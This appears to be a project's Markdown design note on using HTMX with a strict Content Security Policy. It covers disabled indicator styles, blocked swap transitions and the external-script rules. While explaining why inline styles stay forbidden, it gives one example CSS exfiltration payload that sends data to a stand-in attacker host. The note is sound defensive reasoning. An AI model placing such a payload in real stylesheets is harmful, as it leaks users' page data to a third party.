93 lines
4.9 KiB
Markdown
93 lines
4.9 KiB
Markdown
# HTMX Setup
|
|
|
|
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
|
|
|
|
## Overview
|
|
|
|
The member-console uses [HTMX](https://htmx.org/) for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the **HTMX partial pattern**: the server renders HTML fragments that HTMX swaps into the DOM.
|
|
|
|
### Version
|
|
|
|
HTMX is vendored as a static asset at `internal/embeds/static/htmx.min.js` (currently v2.0.4).
|
|
|
|
### Loading
|
|
|
|
HTMX is loaded via a `<script defer>` tag in both page templates (`index.html` and `operator.html`). The `defer` attribute ensures it loads after the DOM is parsed.
|
|
|
|
## CSP Configuration
|
|
|
|
The CSP is defined in `internal/middleware/security.go` and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
|
|
|
|
### Relevant CSP Directives
|
|
|
|
```
|
|
script-src 'self' https://unpkg.com/htmx.org@*
|
|
style-src 'self'
|
|
```
|
|
|
|
- **`script-src`**: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
|
|
- **`style-src`**: Only allows styles from external `.css` files served by our origin. Inline `<style>` tags and `element.style.*` assignments are blocked.
|
|
|
|
### Why No `'unsafe-inline'`
|
|
|
|
Adding `'unsafe-inline'` to `script-src` would defeat most XSS protection. For `style-src`, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
|
|
|
|
## HTMX + CSP Interaction
|
|
|
|
HTMX has two behaviors that conflict with a strict `style-src 'self'` policy:
|
|
|
|
### 1. Indicator Styles (Solved)
|
|
|
|
By default, HTMX injects an inline `<style>` tag at load time to define `.htmx-indicator` CSS rules. This violates `style-src 'self'`.
|
|
|
|
**Solution**: We disable this behavior via a `<meta>` tag in both page templates:
|
|
|
|
```html
|
|
<meta name="htmx-config" content='{"includeIndicatorStyles": false}'>
|
|
```
|
|
|
|
The equivalent indicator styles are provided in `internal/embeds/static/app.css`:
|
|
|
|
```css
|
|
.htmx-indicator { display: none; }
|
|
.htmx-request .htmx-indicator { display: inline-block; }
|
|
.htmx-request.htmx-indicator { display: inline-block; }
|
|
```
|
|
|
|
This gives us full control over indicator styling without any CSP violation.
|
|
|
|
### 2. Swap Transition Styles (Accepted)
|
|
|
|
During content swaps, HTMX may call `element.style.height = "..."` or `element.style.transition = "..."` to animate the swap. These are inline style assignments that CSP blocks.
|
|
|
|
**Impact**: None functional. The partial HTML is swapped correctly — the only effect is that swap animations are skipped (content appears instantly rather than transitioning smoothly). This is an acceptable trade-off for the security benefit.
|
|
|
|
**Why not allowlist the hash?** The hash approach (`style-src 'self' 'sha256-...'`) works for static strings like the indicator `<style>` tag, but swap transitions generate dynamic style values (e.g., `height: 47px`) that vary per element. You would need to allowlist every possible hash, which is impractical and fragile across HTMX version upgrades.
|
|
|
|
**Why not `'unsafe-inline'` for styles only?** While less risky than `'unsafe-inline'` on `script-src`, it still enables CSS-based exfiltration (e.g., `background: url(attacker.com/steal?data=...)`). The visual trade-off (no smooth transitions) is minor compared to the security benefit.
|
|
|
|
## External JavaScript
|
|
|
|
All JavaScript must be in external `.js` files under `internal/embeds/static/` to comply with CSP. Never add inline `<script>` tags to templates — they will be silently blocked.
|
|
|
|
Current external scripts:
|
|
- `error-handler.js` — HTMX error handling and toast notifications
|
|
- `grant-toggle.js` — Grant creation form radio toggle (Product vs Entitlement Set path), with `htmx:afterSettle` listener for re-initialization after HTMX swaps
|
|
|
|
When adding new interactive behavior to HTMX partials, follow this pattern:
|
|
1. Create a new `.js` file in `internal/embeds/static/`
|
|
2. Add a `<script defer>` tag to the relevant page template
|
|
3. If the script manipulates elements inside HTMX partials, listen for `htmx:afterSettle` to re-initialize after swaps
|
|
|
|
## Static Asset Authentication
|
|
|
|
Static assets under `/static/` are exempted from authentication middleware (`internal/auth/auth.go`). This is necessary because:
|
|
|
|
- Static assets are public resources (CSS, JS, images, icons)
|
|
- Some browser fetches (e.g., `<link rel="manifest">`) use CORS mode with `credentials: 'omit'`, meaning session cookies are not sent
|
|
- Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
|
|
|
|
## External CSS
|
|
|
|
All custom styles are in `internal/embeds/static/app.css`. This file consolidates styles that were previously inline `<style>` blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.
|